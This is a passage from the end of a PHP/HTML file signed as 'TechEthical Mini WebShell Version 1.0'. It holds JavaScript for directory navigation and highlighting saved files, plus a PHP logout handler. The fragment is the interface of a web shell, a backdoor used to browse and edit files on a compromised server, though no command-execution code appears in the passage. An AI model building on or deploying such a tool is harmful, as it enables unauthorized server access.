            window.location.href = '?dir=' + encodeURIComponent(path);
        }
    }
    
    // Go to predefined path
    function goToPath(path) {
        window.location.href = '?dir=' + encodeURIComponent(path);
    }
    
    // Highlight elements that match the current URL parameters
    window.addEventListener('load', function() {
        // Highlight file if it was just saved
        const urlParams = new URLSearchParams(window.location.search);
        if (urlParams.has('highlight')) {
            const fileName = urlParams.get('highlight');
            const fileElements = document.querySelectorAll('.file-name');
            
            fileElements.forEach(function(element) {
                if (element.textContent.includes(fileName)) {
                    element.closest('.file-list-item').classList.add('highlight');
                }
            });
        }
    });
</script>
</body>
</html>
<?php
// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}
?>

TechEthical Mini WebShell Version 1.0, Coded By The_M@T3